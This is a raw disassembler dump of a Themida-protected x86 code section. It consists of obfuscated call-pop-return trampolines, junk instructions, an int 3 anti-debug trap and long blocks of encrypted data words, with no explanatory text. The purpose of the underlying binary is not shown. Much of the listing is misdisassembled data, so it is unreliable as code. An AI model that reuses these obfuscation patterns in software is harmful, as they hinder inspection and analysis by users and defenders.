arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5881EE endp
; ---------------------------------------------------------------------------
dw 8D81h
; ---------------------------------------------------------------------------
scasd
push esp
or esi, [edx-7]
jnp loc_588225
call sub_58821E
mov ebp, 0E8073EAh
popf
int 3 ; Trap to Debugger
mov byte ptr [edx+6Ch], 6Fh
test [edx+52h], ebx
; =============== S U B R O U T I N E =======================================
sub_58821E proc near ; CODE XREF: Themida_:0058820Bp
; FUNCTION CHUNK AT 0058835C SIZE 0000000E BYTES
mov esi, [ebp+61217A1h]
pop edi
loc_588225: ; CODE XREF: Themida_:00588205j
cmp dword ptr [ebp+6121449h], 7D0h
jbe loc_58835C
push 0
push ecx
call sub_588240
and [ecx-3Dh], bl
sub_58821E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_588240 proc near ; CODE XREF: sub_58821E+1Ap
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_588240 endp
; ---------------------------------------------------------------------------
les ebp, [ecx-75h]
sti
xor si, 968Fh
mov ebx, [ebp+612318Dh]
push 0
push ebp
call sub_58826A
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58826A proc near ; CODE XREF: Themida_:00588262p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_58826A endp
; ---------------------------------------------------------------------------
dw 6B2Ah
dd 48A4AF5Dh, 0A61DDF2h, 100E381h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 5BB5F5C3h
dd 6E7EBC3Ch, 0B589F856h, 6121149h, 850FDB0Bh, 53h, 0C6EA8160h
dd 610D509Ch, 68A0Fh, 0DF810000h, 1819D1BCh, 15AABD83h
dd 0F000616h, 1B84h, 3EE9FC00h, 0E9000000h, 10h, 0AFE01D05h
dd 261C9981h, 0CD3E3598h, 0CC1014AFh, 15AA85C7h, 10616h
dd 0BE660000h, 16E9232Ch, 66000000h, 0C7ABF2BEh, 1615AA85h
dd 6, 820F00h, 8B000000h, 8D9D8DF8h, 6A061231h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 397BC351h, 20717DD9h, 0F3DD979h, 583h, 0CE816600h, 23819DF2h
dd 0FFFFFEFFh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58821E
loc_58835C: ; CODE XREF: sub_58821E+11j
mov bx, ds
push 0
push ebx
call sub_58836A
and [ebx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_58821E
; =============== S U B R O U T I N E =======================================
sub_58836A proc near ; CODE XREF: sub_58821E+144p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_58836A endp
; ---------------------------------------------------------------------------
dw 7601h
; ---------------------------------------------------------------------------
adc al, 0A9h
pop ss
jno loc_58838B
mov edi, [ebp+61217A9h]
loc_58838B: ; CODE XREF: Themida_:0058837Fj
sub esi, [ebp+612266Dh]
test bl, 4
jz loc_588413
mov [ebp+6122CCDh], eax
call dword ptr [ebp+6120135h]
push 0
push ebp
call sub_5883B1
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5883B1 proc near ; CODE XREF: Themida_:005883A9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5883B1 endp
; ---------------------------------------------------------------------------
db 89h, 1Ch, 50h
dd 0CE8h, 0D7ED8200h, 5EB11814h, 0B2A8B1Dh, 525060F8h
dd 585A310Fh, 5E615950h, 6A240489h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0D35DC355h
dd 5D8D89h, 8E90612h, 0C2000000h, 1502E528h
db 44h, 53h, 0Eh
; ---------------------------------------------------------------------------
loc_588413: ; CODE XREF: Themida_:00588394j
jmp loc_5887F4
; ---------------------------------------------------------------------------
mov edi, [ebp+612069Dh]
mov al, 0
push 0
push edx
call sub_58842B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58842B proc near ; CODE XREF: Themida_:00588423p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_58842B endp
; ---------------------------------------------------------------------------
db 0FCh
dd 76C6D0D4h, 857D45B3h, 6A70E6A0h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0B8EEC350h
dd 409CB2F9h, 0BA71BEF6h, 71E4534Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 7DC35343h, 7E9h, 0E6A64400h
dd 9342B20Fh, 89D8B60Fh, 12000D95h, 6BA06h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 8E009CC3h, 8D29B853h, 61230E1h, 0BD8BC38Bh, 61217A9h
dd 8B04E8C1h, 121B15B5h, 0E2F76606h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0A5C35646h, 5A22BF27h, 0D82B13EDh
dd 241C8950h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 1EC35141h, 0BD8920BBh, 61231ADh, 1449B5FFh, 0B58B0612h
dd 6121945h, 19CD95FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 1DFC18C3h, 81284C51h
dd 9901EBEFh, 6E970h, 32BD0000h, 3552EAh, 52BE00B0h, 0E6400D8Fh
dd 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 10584Ch, 0CBFE05F2h, 71E4D53Ah, 0E9B52BF8h
dd 3C06121Fh, 45830F61h, 66000002h, 21C4D681h, 6AD8B60Fh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0A17FC353h, 2101497Dh, 3840F9Dh, 0F000000h
dd 6BAFFBFh, 8B000000h, 122D51BDh, 0FB8B6606h, 6AC38Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 16D7DFC3h, 68F0F7Fh, 8B000000h, 121331BDh, 6830F06h
dd 31000000h, 1212BD9Dh, 99D8906h, 0C1061207h, 6A04E8h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 4D732DC3h, 0FCE5DA61h, 34ED8589h, 0F7810612h, 458423CAh
dd 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 0AD00C357h, 370BB745h, 0CDF5F7B0h
dd 12F5BD8Bh, 0D82B0612h, 8E960h, 0D30B0000h, 8AB30DF4h
dd 810F4DCEh, 6, 1F0D8D01h, 58610612h, 0C94FCE81h, 0D82B325Eh
dd 13A880Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 29DE22C3h, 121F7995h, 7B906h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 0BD03E8C3h, 6120969h, 17DB589h, 0C1830612h, 0C8A0F00h
dd 0F000000h, 687h, 5D853100h, 3B061209h, 0CD860FD9h, 0F8000000h
dd 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 67EBC357h, 1FD771Fh, 0F6672F8Dh
dd 840F04C1h, 62h, 23ADB58Bh, 95FF0612h, 6120135h, 85BD035Bh
dd 2B061223h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 0ED0F271Ah, 9D5BB442h, 0BD898237h
dd 61203F5h, 8343Dh, 17860F00h, 8B000000h, 1214F9BDh, 46E906h
dd 2B600000h, 120E819Dh, 0E58A5606h, 0C08B6158h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 1EC35343h, 3C270157h
dd 0FD7DADC8h, 6E856h, 0C0380000h, 5D704EC4h, 830Fh, 5F5F0000h
; ---------------------------------------------------------------------------
loc_5887F4: ; CODE XREF: Themida_:loc_588413j
mov eax, ebx
mov ebx, eax
push 0
push ebp
call sub_588803
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588803 proc near ; CODE XREF: Themida_:005887FBp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_588803 endp
; ---------------------------------------------------------------------------
db 91h
dd 7DF2A8D7h, 0D185C7DCh, 0FB061218h, 6A10E1BDh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 54FAC352h, 8B513194h, 758589F8h, 8B06122Dh, 359589C0h
dd 8106121Bh, 121449BDh, 7D006h, 12850F00h, 53000000h
dd 0EA56BF66h, 4985FF5Fh, 33061214h, 12087DBDh, 49B5FF06h
dd 6A061214h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 0EEEC351h, 0FBB70FE3h, 10E8h
dd 0F83FEE00h, 4B3878Bh, 6EC867CEh, 38179B8h, 6585297Ah
dd 5E06120Eh, 19CD95FFh, 0BD310612h, 61211B5h, 0E890F88Bh
dd 8, 0EE931DB6h, 0D87105C7h, 0BE9h, 56342000h, 0ED952AD5h
dd 8665F7A0h, 8D0F5FF9h, 6, 23059589h, 6A0612h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0F9FEFC3h, 8C0FF9BFh, 6, 8EDBD23h, 0BA600612h, 0D74C06Ah
dd 3800Fh, 0BF0F0000h, 880F61D2h, 20h, 6830Fh, 0BD890000h
dd 6121E45h, 66616060h, 0F1AE7B9h, 85h, 0A5953300h, 6106121Dh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0B5C35040h
dd 0D6160CF0h, 58DAA226h, 11E9h, 4B38A200h, 319271DFh
dd 97D5B567h, 723893A7h, 16023BEh, 1201FDBDh, 0ED958906h
dd 89061208h, 1223059Dh, 0B9BE6106h, 6669398Eh, 91D3E781h
dd 0ACFB860h, 8A5674BAh, 61FC5AE7h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 55C35646h, 6642F4D2h, 4AA4DE81h
dd 0FFF7F6E9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 531DF64Ah, 0FA0BE71h
dd 0BD8BF7B7h, 6120969h, 6AC18Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 8465ADC3h, 265FA83Ah
dd 19BDB58Bh, 4EB0612h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_588A47
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588A47 proc near ; CODE XREF: Themida_:00588A3Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_588A47 endp
; ---------------------------------------------------------------------------
test eax, 0FBBF0F5Ah
xor di, 0FD5Dh
jmp loc_588A74
; ---------------------------------------------------------------------------
dw 512Ah
dd 0E0BA5623h, 0A4109C62h, 0D28DA20Bh
; ---------------------------------------------------------------------------
loc_588A74: ; CODE XREF: Themida_:00588A61j
pusha
mov ah, dl
jmp loc_588A8B
; ---------------------------------------------------------------------------
sub edx, [edi-2]
mov ch, 16h
or eax, 54E0FCCDh
ficomp dword ptr [edx+31h]
aas
loc_588A8B: ; CODE XREF: Themida_:00588A77j
popa
lea eax, [ebp+6122E01h]
mov [ebp+6121B5Dh], ecx
push eax
mov [esp], eax
push 0
push edi
call sub_588AA7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588AA7 proc near ; CODE XREF: Themida_:00588A9Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_588AA7 endp
; ---------------------------------------------------------------------------
align 4
adc edi, ecx
dec ebx
push cs
db 36h
inc ebx
mov esi, 0C54BB40h
push 0
push 0
push ecx
call sub_588AD0
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588AD0 proc near ; CODE XREF: Themida_:00588AC8p
; Themida_:00588AE0j
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_588AD0 endp
; ---------------------------------------------------------------------------
ja short sub_588AD0
retn
; ---------------------------------------------------------------------------
mov dword ptr [eax], 6A31C3h
push 0
push ecx
call sub_588AF4
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588AF4 proc near ; CODE XREF: Themida_:00588AECp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_588AF4 endp
; ---------------------------------------------------------------------------
dd 0DB6259A6h, 31727DE0h, 0ED858DF9h, 89061621h, 1206B98Dh
dd 5C08306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0C2C35545h, 4895096h, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8B98E179h
dd 120DF1B5h, 0F0B70F06h, 13E8006Ah, 0A4000000h, 0EEC307A9h
dd 6FB9D37h, 9C8B2FE1h, 0BD018DEBh, 0BD0B4B82h, 6122C11h
dd 6A006A5Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 5222C357h, 0E72695BDh, 0F135E781h
dd 95FF44D7h, 6120DB5h, 0FBC78166h, 896060A0h, 12035D9Dh
dd 0B5896106h, 6122C2Dh, 29D8D61h, 6A0615AFh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 0CDFEC353h, 0F38BD3FFh, 67985FFh, 9600612h, 12076995h
dd 0E0816606h, 0E961FEBEh, 776h, 0E8h, 0ED815D00h, 61621F7h
dd 14518D01h, 0BD810612h, 6121449h, 7D0h, 1F9860Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 408E2FC3h, 8C19D8Bh, 81F80612h, 100E3h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0FA312F67h, 2C75A799h, 850FDB0Bh, 0FCh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 4DC35141h, 0A93F2569h
dd 0F7CD76D8h, 35858968h, 8306121Ch, 162022BDh, 840F0006h
dd 53h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h
dd 19C35545h, 6937DA6Bh, 311167BFh, 0CFE973h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 3F7DA7C3h, 4CA9DBB1h, 0A1B58B60h, 0C706121Ch, 16202285h
dd 106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 8D46E6BFh, 0E9D8532Eh, 0Bh, 0FB522869h
dd 0D9A5918Dh, 0E901B051h, 65h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 0CCC35343h, 4C5AD703h, 5C60DDEBh
dd 1F859D29h, 95010612h, 6122F0Dh, 202285C7h, 616h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 20EAB8C3h, 27882F8h, 75B58B2Ah, 8B06122Ch, 0C19D8DF2h
dd 6A061208h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 903BC351h, 0BF66833Ch, 23810DF5h
dd 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 0F3C35040h, 9101192Eh, 3D7FEAD1h, 60F28B66h, 0A463B866h
dd 11E9h, 36A65400h, 0ECEFC6ABh, 0E6AE296Ch, 7A496487h
dd 66610C92h, 0BF66DB8Ch, 0B70F86F0h, 4C3F6F6h, 60840Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 59FE23C3h, 0E9509D0Ah, 0Ah, 97C3BE12h, 0A9AD9C75h
dd 95FFB17Eh, 6120135h, 1B699D89h, 60500612h, 2113BA66h
dd 9E9h, 59754200h, 0F04BBB97h, 896127C2h, 8F0F2404h, 6
dd 9C4BDF81h, 0FBE94C1Fh, 0E9000002h, 0Fh, 90F8AE63h, 660FDA53h
dd 0BE682420h, 0B03E84D9h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E6DE181Bh
dd 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 9D89B79Ch, 6122691h, 6A71E4h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6084DBC3h
dd 575E6BBDh, 9D8B60Fh, 12225DB5h, 6BA06h, 8B660000h, 89C38BF2h
dd 120DD9B5h, 4E8C106h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 5C35242h, 8BE2F766h, 120C7DBDh, 6AD82B06h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 0B2C5C350h, 667043F0h, 9304B8BFh, 0B5899350h
dd 6120ED9h, 1449B5FFh, 0FE8B0612h, 19CD95FFh, 0BD8B0612h
dd 6122EF5h, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 4EEBC7C3h, 0BF724BEDh, 8529AE6Ah
dd 6122FD5h, 28B0Fh, 0FB8B0000h, 71E470E6h, 1BC99D31h
dd 613C0612h, 1B4830Fh, 0F600000h, 0B866C3BFh, 0F6105BAh
dd 0D9BFD8B6h, 0BA59BD37h, 6, 1F698589h, 0C38B0612h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0E9C35141h, 7049AAB8h
dd 58EF45BFh, 4E8C171h, 1011BD89h, 0F7660612h, 2BFB8BE2h
dd 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 3D3B5008h, 0E958F78Bh, 10h, 0C54061F3h
dd 0FDB59FDEh, 0C8C66AC7h, 6DA8B807h, 880FD82Bh, 122h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 32C35242h
dd 7B98DD3h, 83000000h, 6A00C1h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 0E51ECEC3h, 0BFEA91F8h
dd 0FD93BD2h, 0D186h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 26C59896h, 0A4A3B117h
dd 10CE81FCh, 66737A47h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 0EFF150C3h, 3B74DA1h
dd 0C1F63490h, 75840F04h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0E89BC351h
dd 0BDB643CEh, 0E9BD8B91h, 0FF061203h, 12013595h, 74C7BE06h
dd 2B5B10E3h, 35B531C3h, 3D06121Bh, 834h, 2E860Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 146348C3h, 3880FA4h, 0F000000h, 3E9FFB7h, 0F8000000h
dd 0C38BC08Bh, 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 0D31C14C3h, 42665177h, 0F1BF0F3Fh
dd 318D85C7h, 0D9D30612h, 0BF0F779Dh, 6AC08BF8h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 0E526C356h, 4E622A70h, 0C0E39E06h, 23059589h, 0BD810612h
dd 6121449h, 7D0h, 20850Fh, 0D6810000h, 4EC46725h, 88D0Fh
dd 89500000h, 12203585h, 85FF5E06h, 6121449h, 850Fh, 0B5FF0000h
dd 6121449h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0F2C35343h, 0CE9D0h, 0FA1D0000h, 0DD0DA6FDh, 33555022h
dd 95FFF39Ch, 61219CDh, 0D259531h, 66900612h, 669BECBEh
dd 0BD8BF38Bh, 61218B1h, 2E318589h, 85890612h, 61201B1h
dd 8B1BD89h, 0B58B0612h, 6121465h, 22D58D29h, 5E80612h
dd 0EE000000h, 0F757016h, 14E8h, 0A281B600h, 3B28D89Bh
dd 3F909495h, 7EE086AAh, 0F6C85FAAh, 63C78103h, 0E92F47A6h
dd 14h, 8DFEEF88h, 1323FC56h, 6078D046h, 0D9B63761h, 53AB890Ch
dd 8D895E5Fh, 61234BDh, 1D61BD8Bh, 95090612h, 6121B81h
dd 10A5B523h, 0BD8B0612h, 6120E81h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 9FC35646h, 24C1087Ah, 6AECD13Bh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 1DA7C351h, 0D61C29DAh, 8D38449Ch, 8ED8D89h
dd 0BE660612h, 0BD8B6E83h, 6122349h, 0BEFBB70Fh, 5F427B7Ch
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 70C35747h
dd 0E9499974h, 0FFFFF88Ch, 34E9F08Bh, 0DE000000h, 411E4Bh
dd 0Bh dup(0)
dd 0E9000000h, 59Dh, 0B856C2B5h, 0CC6AD4C8h, 0E482E4DCh
dd 0FA98FEF4h, 0FAD150Ah, 0E0D547A2h, 0F3EADA78h, 801F18Fh
dd 201A0AA8h, 0C42524C2h, 0FF302B53h, 7E1F3275h, 3BE560Ch
dd 0CB5FA134h, 0D3D0779Bh, 0E01C8689h, 2A90865Ch, 8F67D127h
dd 7E343795h, 93832189h, 1E903B99h, 4491CED8h, 0A285EF87h
dd 9194F2ECh, 0D27DE7DBh, 10A402FCh, 4AA6B3F7h, 0A285EF18h
dd 0D8CEA445h, 85196F72h, 1A4E941Dh, 24C52F45h, 1D7B7544h
dd 36968F7Fh, 0EFAFA898h, 3C9295F7h, 0F4EBA1A4h, 77368D90h
dd 0D5A31597h, 13568A34h, 0D0C9A10Bh, 0FBEFC570h, 0B9A92791h
dd 0B5DD4EBFh, 0C46FE9FDh, 8ADBDE76h, 6FE9FD5Dh, 15187C73h
dd 0FE016B5Fh, 61E3C33Ch, 0E9FDC8F0h, 0F189D76Fh, 211BF192h
dd 0D8B859C3h, 1E70AD04h, 0A819A2D8h, 6FE9F180h, 86EAE18Fh
dd 634B84EEh, 0A2000000h, 68793130h, 68D25CA7h, 62D35C2Ch
dd 6FE9073Ah, 0B189F341h, 55659B7h, 6FE907DBh, 1FF3D38Ah
dd 0D81D7AC8h, 10Fh, 1B0FB500h, 4F8AEB1h, 7DABCC9Eh, 0D1C9F49Eh
dd 1B7174DCh, 0D4CA8083h, 570E6B6Eh, 4AB4A877h, 68C2BCACh
dd 0AEC2C68Bh, 197B7301h, 7D28C016h, 0E9E3E40Ch, 59DEB6Fh
dd 1A0F1367h, 5F9AFB2h, 0C37C989Bh, 928B61E3h, 6FD92F32h
dd 9C3AA297h, 0A954B2ACh, 0AFCFAE20h, 1F356A7Eh, 0E9EF648Ch
dd 0B31D6B6Fh, 60221AD0h, 0AC020569h, 0BA7D1114h, 8487EFE4h
dd 0EA12832Eh, 0F16FE9EFh, 0B89839A3h, 1E689DE4h, 89C4D8h
dd 5C6A0000h, 0C02A9086h, 888BF3E8h, 0CD78DAD2h, 359FFDF7h
dd 0E254F552h, 95A089E9h, 0B556C0ABh, 961106D5h, 0E97CFD25h
dd 26BE0C6Fh, 0EB5CE588h, 6FE97DC3h, 7679D7D1h, 69D32120h
dd 31349C91h, 1C1F857Bh, 0FBCFAF88h, 0D81DF6B4h, 62DBh
dd 1A0F8100h, 7046AFB2h, 0BC121579h, 26CCAC4h, 4DBE312Ah
dd 6FE90725h, 0E3E2423Bh, 5179EA95h, 586FE907h, 0B96F720Ah
dd 0A55B5EC2h, 0EA474AAEh, 3EE45333h, 0E1D6A585h, 0F87DB79h
dd 5DAEB11Bh, 6FE90730h, 0E8EB5348h, 0D2D53D32h, 6FDEBE75h
dd 0A0996F10h, 5535D640h, 1D7B2A81h, 171D8h, 0F170000h
dd 0FCB2B517h, 4AA1A402h, 5329AB8Bh, 0A1F7FA5Ah, 5675F37h
dd 0F5EEC467h, 0BFAE2B95h, 0AF087924h, 0DE69FB2Ch, 0DDD78D90h
dd 0F7F1E17Fh, 8F65EE99h, 0DE343795h, 0FB34234Bh, 93E49575h
dd 0A590F293h, 0BEE58A6h, 0FBBB90BAh, 4EACA675h, 3A9E954Bh
dd 1CFC7537h, 6E4E07ADh, 0A947A59Fh, 4B65BFB9h, 7CDBF4D0h
dd 3DF3F68Eh, 0C6E2E543h, 0D8C0B123h, 0B99D8E77h, 0FFCEAE4Fh
dd 0E9534705h, 52A5CD3Eh, 66B475FBh, 1B8D30CEh, 6C619A96h
dd 77357004h, 0C219F660h, 9DE300Ch, 18Bh, 0E0636AAFh, 347BC435h
dd 14C269FBh, 62B8BB1Bh, 0C0961FCAh, 95F62CCh, 0FB3C4E76h
dd 0A50F5D75h, 5FD059C2h, 75FB3C37h, 409E9846h, 6C663EA8h
dd 8680700Eh, 0F31B8C15h, 0FA75FB3Ch, 3CF119ACh, 0AAF875FBh
dd 5F590F12h, 29E2FE01h, 22807A49h, 0F465EE77h, 75FB3CCCh
dd 0CAF285D3h, 0D175FB3Ch, 0A69B1983h, 0DE2FB04Fh, 14766E44h
dd 1851BB11h, 60h, 90865CBEh, 4443C02Ah, 8980AB5h, 614C3D00h
dd 79028DF7h, 4346AEA3h, 81083EDh, 171017B6h, 0D49FBBCDh
dd 4ABF288Ah, 1A69FD81h, 0B2B54DD1h, 177D7349h, 13123AADh
dd 2720EFE8h, 0A0D6F67h, 63191CB4h, 0A805086Ch, 9EA211F1h
dd 0D6D14525h, 1F279843h, 0EE901605h, 0B82302A0h, 0D1000000h
dd 8A80636Ah, 33CB2124h, 1C021788h, 0D52369FBh, 9E9369D2h
dd 73DD3336h, 4F47A19Bh, 4B7FC8Fh, 0BCAC4AE2h, 0F86164C2h
dd 0E0D6FE6Fh, 37E575FBh, 80D6D943h, 0EC0B7EE8h, 7A75FBDFh
dd 0C2E965D7h, 84DBD1A2h, 2C2F978Ch, 0EBCB6CD6h, 19C4221Ch
dd 0DF71F90h, 140D75FBh, 0FD67B5B4h, 60E3EA7Fh, 35B344B5h
dd 45CE7011h, 0ED36ACD4h, 0C05B36Fh, 0BB53A9ACh, 21247251h
dd 1013716Bh, 0A61AFAB9h, 0FF711CA7h, 23193ECEh, 0E6AB29BDh
dd 5AE36ED8h, 413860D1h, 0F9476FEDh, 6A8B1C8Fh, 54A26A03h
dd 7BD9D3A9h, 65CDC278h, 0A740C62h, 0CE77E98Ch, 0DEAE7DE9h
dd 6A336FD9h, 0C435E063h, 69FF3033h, 7801ACFAh, 0FF30DF07h
dd 36A0EE75h, 45A39D53h, 0A7B04A7h, 75FF30E2h, 59319BE9h
dd 95FE015Fh, 30739B0Ch, 8B8175FFh, 6ED82625h, 0F78C85FBh
dd 5131E82Eh, 2C835DCFh, 67FB6358h, 208A2FD9h, 52F04E48h
dd 0B0AA6862h, 390FBA52h, 9174DE42h, 7C7FE5DBh, 0B7866625h
dd 0DEB45FBDh, 0D80071E6h, 0E7B107FAh, 0A8FE0199h, 0D6D0C03Eh
dd 3D07578h, 7E000000h, 1C0F5995h, 0FDF7ADB0h, 0EDE69C9Fh
dd 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h, 9E944A4Dh, 877F3538h
dd 786C2225h, 554D0B0Eh, 0C5815D54h, 4, 8704ED83h, 685C242Ch
dd 2462h, 68240C89h, 138Dh, 68241C89h, 3089h, 0B8240489h
dd 4A2B331Ch, 0EAF68A05h, 58C189BBh, 9068h, 24248900h
dd 4240483h, 4EC835Bh, 0B8240489h, 8, 889D801h, 2434FF58h
dd 4C4815Bh, 8B000000h, 8957240Ch, 4C781E7h, 81000000h
dd 4C7h, 243C8700h, 50C3E95Ch, 0D65AFFFCh, 0DD795C72h
dd 2EC5B876h, 0C5030616h, 0C053E0FFh, 0DA88198Ch, 22F31739h
dd 0BE8C2925h, 88D574F4h, 9838FCh, 0BBBA6518h, 75527606h
dd 8A651DA9h, 7B3329B3h, 5EAC03B7h, 348913F0h, 3F0B57D5h
dd 0EB91586Bh, 773B6C30h, 0C18B41D7h, 2D7DBD89h, 4EB0612h
dd 0
; ---------------------------------------------------------------------------
mov edi, [ebp+6120DF1h]
push 0
push edi
call sub_5899BD
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5899BD proc near ; CODE XREF: Themida_:005899B5p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5899BD endp
; ---------------------------------------------------------------------------
db 6Dh, 28h, 0F6h
dd 858D43A3h, 6122E01h, 15A747BFh, 5250905Bh, 310FF98Bh
